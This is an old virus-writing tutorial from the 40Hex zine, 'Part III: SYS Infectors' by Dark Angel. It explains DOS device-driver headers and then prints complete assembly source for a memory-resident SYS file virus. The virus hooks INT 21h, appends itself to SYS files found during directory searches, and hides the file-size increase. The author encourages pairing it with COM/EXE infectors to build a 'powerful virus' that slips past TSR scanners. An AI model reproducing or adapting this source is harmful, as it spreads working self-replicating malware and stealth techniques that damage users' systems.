�����������������������������������������
                  An Introduction to Nonoverwriting Viruses
                           Part III: SYS Infectors
                  �����������������������������������������
                                By Dark Angel
                  �����������������������������������������

      The SYS  file is the most overlooked executable file structure in DOS.
 Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
 such extensions to this file format.

      The SYS  file is loaded beginning at offset 0 of a particular segment.
 It consists  of a  header followed  by code.   SYS  files  may  be  chained
 together after  a simple  modification in  the header.   This is the key to
 infecting SYS files.

      There are  two types  of device  drivers; block  and character.  Block
 devices include  floppy, hard,  and virtual disks, i.e. any media which can
 store data.   Character devices include printers, modems, keyboard, and the
 screen.   The virus  will generally  be a  character device,  as it reduces
 complexity.

 The header structure is straightforward:

 Offset  Size  Description
 ------  ----  -----------
   0h    DWORD Pointer to next header
   4h    WORD  Attribute
   6h    WORD  Pointer to strategy routine
   8h    WORD  Pointer to interrupt routine
  0Ah    QWORD Name of the device driver

 The pointer  to the next device driver header appears at offset zero in the
 header.  This is a far pointer consisting of a segment:offset pair.  If the
 current device  is the  only device  appearing in  the SYS  file, then this
 pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
 device drivers contained in the file, then the offset field should be equal
 to the absolute location of the next device in the file.  The segment field
 should remain  FFFF.   For example,  if a  second device  driver occurs  at
 offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
 second (and all other) device driver must contain a new header as well.

 The next  field contains  the attribute  of the  device  driver.    Bit  15
 determines the  nature of  the device  driver.   If bit 15 is set, then the
 device driver  header corresponds  to a  character device;  otherwise,  the
 device is  a block  device.   You need not concern yourself with any of the
 other bits; they may remain cleared.

 Before the  next two fields may be understood, it is necessary to introduce
 the concept  of the  request header.   The  request header  contains  DOS's
 requests of the device driver.  For example, DOS may ask for initialisation
 or a  read or  even a  status check.   The information needed by the device
 driver to interpret the request is all contained in the request header.  It
 is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
 job of the strategy routine is to save the pointer for use by the interrupt
 routine.   The interrupt  routine is  called by  DOS immediately  after the
 strategy routine.   This  routine processes  the request  in the header and
 performs the appropriate actions.

 The word-length  pointers in  the SYS  header to the strategy and interrupt
 routines are  relative to  the start  of the SYS file.  So, if the strategy
 routine resides  in absolute  offset  32h  in  the  file,  then  the  field
 containing the location of the strategy routine would hold the number 32h.

 The name  field in  the SYS header simply holds an 8 byte device name.  For
 example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
 should be justified with space characters (0x20).

      By using  DOS's feature  of chaining  SYS files,  we may easily infect
 this type  of file.   No  bytes need to be saved.  There are but two steps.
 The first is to concatenate the virus to the target file.  The second is to
 alter the  first word  of the  SYS file  to point to the virus header.  The
 only trick  involved is  writing the  SYS interrupt routine.  The format of
 the request header is:

 Offset  Size  Description
 ------  ----  -----------
   0h    BYTE  Length of request header (in bytes)
   1h    BYTE  Unit code (for block devices)
   2h    BYTE  Command code
   3h    WORD  Status
   5h    QWORD Reserved by DOS
  0Dh    Var.  Data for the operation

      Only one  command code  is relevant  for  use  in  the  virus.    Upon
 initialisation of  the device driver, DOS will send a request header with 0
 in the  command code  field.  This is the initialisation check.  The format
 of the variable sized field in the request header in this case is:

 Offset  Size  Description
 ------  ----  -----------
  0Dh    BYTE  Number of units (ignored by character devices)
  0Eh    DWORD Ending address of resident program code
  12h    DWORD Pointer to BPB aray (ignored by character devices)
  16h    BYTE  Drive number (irrelevant in character devices)

      The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
 status word of the operation.  The virus fills this in with the appropriate
 value.   Generally, the virus should put a value of 100h in the status word
 in the  event of a successful request and a 8103h in the status word in the
 event of  a failure.   The 8103h causes DOS to think that the device driver
 does not  understand the  request.   A value of 8102h should be returned in
 the event  of a  failed installation.   Offset 0Eh will hold the address of
 the end  of the  virus (include  the heap!)  in the  event of  a successful
 installation and CS:0 in the event of a failure.

      Basically, the  strategy routine  of the virus should contain a simple
 stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
 requests other  than initialisation.   It should perform an installation if
 the virus  is not  yet installed  and fail  if  it  is  already  in  memory
 (remember to set offset 0eh to cs:0).

 A sample  infector with very limited stealth features follows.  While it is
 somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
 routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
 infector.

 ---------------------------------------------------------------------------
 .model tiny
 .code
 org 0                           ; SYS files originate at zero
 ; SYS infector
 ; Written by Dark Angel of Phalcon/Skism
 ; for 40Hex
 header:

 next_header dd -1               ; FFFF:FFFF
 attribute   dw  8000h           ; character device
 strategy    dw  offset _strategy
 interrupt   dw  offset _interrupt
 namevirus   db  'SYS INF '      ; simple SYS infector

 endheader:

 author      db  0,'Simple SYS infector',0Dh,0Ah
             db    'Written by Dark Angel of Phalcon/Skism',0

 _strategy:  ; save es:bx pointer
         push    si
         call    next_strategy
 next_strategy:
         pop     si
         mov     cs:[si+offset savebx-offset next_strategy],bx
         mov     cs:[si+offset savees-offset next_strategy],es
         pop     si
         retf

 _interrupt:  ; install virus in memory
         push    ds                      ; generally, only the segment
         push    es                      ; registers need to be preserved

         push    cs
         pop     ds

         call    next_interrupt
 next_interrupt:
         pop     bp
         les     bx,cs:[bp+savebx-next_interrupt] ; get request header
 pointer

         mov     es:[bx+3],8103h         ; default to fail request
         cmp     byte ptr es:[bx+2], 0   ; check if it is installation
 request
         jnz     exit_interrupt          ; exit if it is not

         mov     es:[bx+10h],cs          ; fill in ending address value
         lea     si,[bp+header-next_interrupt]
         mov     es:[bx+0eh],si
         dec     byte ptr es:[bx+3]      ; and assume installation failure

         mov     ax, 0b0fh               ; installation check
         int     21h
         cmp     cx, 0b0fh
         jz      exit_interrupt          ; exit if already installed

         add     es:[bx+0eh],offset endheap ; fixup ending address
         mov     es:[bx+3],100h          ; and status word

         xor     ax,ax
         mov     ds,ax                   ; ds->interrupt table
         les     bx,ds:[21h*4]           ; get old interrupt handler
         mov     word ptr cs:[bp+oldint21-next_interrupt],bx
         mov     word ptr cs:[bp+oldint21+2-next_interrupt],es

         lea     si,[bp+int21-next_interrupt]
         cli
         mov     ds:[21h*4],si           ; replace int 21h handler
         mov     ds:[21h*4+2],cs
         sti
 exit_interrupt:
         pop     es
         pop     ds
         retf

 int21:
         cmp     ax,0b0fh                ; installation check?
         jnz     notinstall
         xchg    cx,ax                   ; mark already installed
 exitint21:
         iret
 notinstall:
         pushf
         db      9ah                     ; call far ptr  This combined with
 the
 oldint21 dd     ?                       ; pushf simulates an int 21h call

         pushf

         push    bp
         push    ax

         mov     bp, sp                  ; set up new stack frame
                                         ; flags         [bp+10]
                                         ; CS:IP         [bp+6]
                                         ; flags new     [bp+4]
                                         ; bp            [bp+2]
                                         ; ax            [bp]
         mov     ax, [bp+4]              ; get flags
         mov     [bp+10], ax             ; replace old flags with new

         pop     ax                      ; restore the stack
         pop     bp
         popf

         cmp     ah, 11h                 ; trap FCB find first and
         jz      findfirstnext
         cmp     ah, 12h                 ; FCB find next calls only
         jnz     exitint21
 findfirstnext:
         cmp     al,0ffh                 ; successful findfirst/next?
         jz      exitint21               ; exit if not

         push    bp
         call    next_int21
 next_int21:
         pop     bp
         sub     bp, offset next_int21

         push    ax                      ; save all registers
         push    bx
         push    cx
         push    dx
         push    ds
         push    es
         push    si
         push    di

         mov     ah, 2fh                 ; ES:BX <- DTA
         int     21h

         push    es                      ; DS:BX->DTA
         pop     ds

         cmp     byte ptr [bx], 0FFh     ; extended FCB?
         jnz     regularFCB              ; continue if not
         add     bx, 7                   ; otherwise, convert to regular FCB
 regularFCB:
         mov     cx, [bx+29]             ; get file size
         mov     word ptr cs:[bp+filesize], cx

         push    cs                      ; ES = CS
         pop     es

         cld

         ; The following code converts the FCB to an ASCIIZ string
         lea     di, [bp+filename]       ; destination buffer
         lea     si, [bx+1]              ; source buffer - filename

         cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
         jz      bombout

         mov     cx, 8                   ; copy up to 8 bytes
 back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
         jz      copy_done               ; if so, done copying
         movsb                           ; otherwise, move character to
 buffer
         loop    back

 copy_done:
         mov     al, '.'                 ; copy period
         stosb

         mov     ax, 'YS'
         lea     si, [bx+9]              ; source buffer - extension
         cmp     word ptr [si], ax       ; check if it has the SYS
         jnz     bombout                 ; extension and exit if it
         cmp     byte ptr [si+2], al     ; does not
         jnz     bombout
         stosw                           ; copy 'SYS' to the buffer
         stosb

         mov     al, 0                  ; copy null byte
         stosb

         push    ds
         pop     es                      ; es:bx -> DTA

         push    cs
         pop     ds

         xchg    di,bx                   ; es:di -> DTA
                                         ; open file, read/only
         call    open                    ; al already 0
         jc      bombout                 ; exit on error

         mov     ah, 3fh                 ; read first
         mov     cx, 2                   ; two bytes of
         lea     dx, [bp+buffer]         ; the header
         int     21h

         mov     ah, 3eh                 ; close file
         int     21h

 InfectSYS:
         inc     word ptr cs:[bp+buffer] ; if first word not FFFF
         jz      continueSYS             ; assume already infected
                                         ; this is a safe bet since
                                         ; most SYS files do not have
                                         ; another SYS file chained on

 alreadyinfected:
         sub     es:[di+29], heap - header ; hide file size increase
                                         ; during a DIR command
                                         ; This causes CHKDSK errors
        ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
                                         ; are limited to 64K maximum

 bombout:
         pop     di
         pop     si
         pop     es
         pop     ds
         pop     dx
         pop     cx
         pop     bx
         pop     ax
         pop     bp
         iret

 continueSYS:
         push    ds
         pop     es

         lea     si, [bp+offset header]
         lea     di, [bp+offset bigbuffer]
         mov     cx, offset endheader - offset header
         rep     movsb

         mov     cx, cs:[bp+filesize]
         add     cx, offset _strategy - offset header  ; calculate offset to
         mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine

         add     cx, offset _interrupt - offset _strategy;calculate offset to
         mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine

 continueinfection:
         mov     ax, 4300h               ; get file attributes
         lea     dx, [bp+filename]
         int     21h

         push    cx                      ; save attributes on stack
         push    dx                      ; save filename on stack

         mov     ax, 4301h               ; clear file attributes
         xor     cx, cx
         lea     dx,[bp+filename]
         int     21h

         call    openreadwrite

         mov     ax, 5700h               ; get file time/date
         int     21h
         push    cx                      ; save them on stack
         push    dx

         mov     ah, 40h                 ; write filesize to the old
         mov     cx, 2                   ; SYS header
         lea     dx, [bp+filesize]
         int     21h

         mov     ax, 4202h               ; go to end of file
         xor     cx, cx
         cwd                             ; xor dx, dx
         int     21h

         mov     ah, 40h                 ; concatenate header
         mov     cx, offset endheader - offset header
         lea     dx, [bp+bigbuffer]
         int     21h

         mov     ah, 40h                 ; concatenate virus
         mov     cx, offset heap - offset endheader
         lea     dx, [bp+endheader]
         int     21h

         mov     ax, 5701h               ; restore file time/date
         pop     dx
         pop     cx
         int     21h

         mov     ah, 3eh                 ; close file
         int     21h

         mov     ax, 4301h               ; restore file attributes
         pop     cx
         pop     dx
         int     21h

         jmp     bombout

 openreadwrite:
         mov     al, 2                   ; open read/write mode
 open:   mov     ah, 3dh
         lea     dx,[bp+filename]
         int     21h
         xchg    ax, bx                  ; put handle in bx
         ret

 heap:
 savebx   dw      ?
 savees   dw      ?
 buffer   db      2 dup (?)
 filename db     13 dup (?)
 filesize dw     ?
 bigbuffer db    offset endheader - offset header dup (?)
 endheap:

 end header
 ---------------------------------------------------------------------------

      The reason the "delta offset" is needed throughout the file is because
 it is  impossible to  know the  exact location  where the  SYS file will be
 loaded into memory.  This can be ameliorated by some file padding and fancy
 mathematical calculations.

      The advantages of using SYS files are manyfold.  There is no load high
 routine involved  apart from  the strategy/interrupt  routines.  This saves
 space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
 checkers also  can't detect the residency routine of the virus, since it is
 a normal part of the DOS loading process.  The routine for the infection of
 the SYS  file is ridiculously easy to implement and takes remarkably little
 space, so  there is  no reason  not to  include  SYS  support  in  viruses.
 Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
 memory resident viruses is not a problem with SYS files.

      A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
 infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
 infected, the infected system becomes extremely vulnerable to the virus, as
 there is  little the user can  do to prevent the virus  from running, short
 of a clean boot.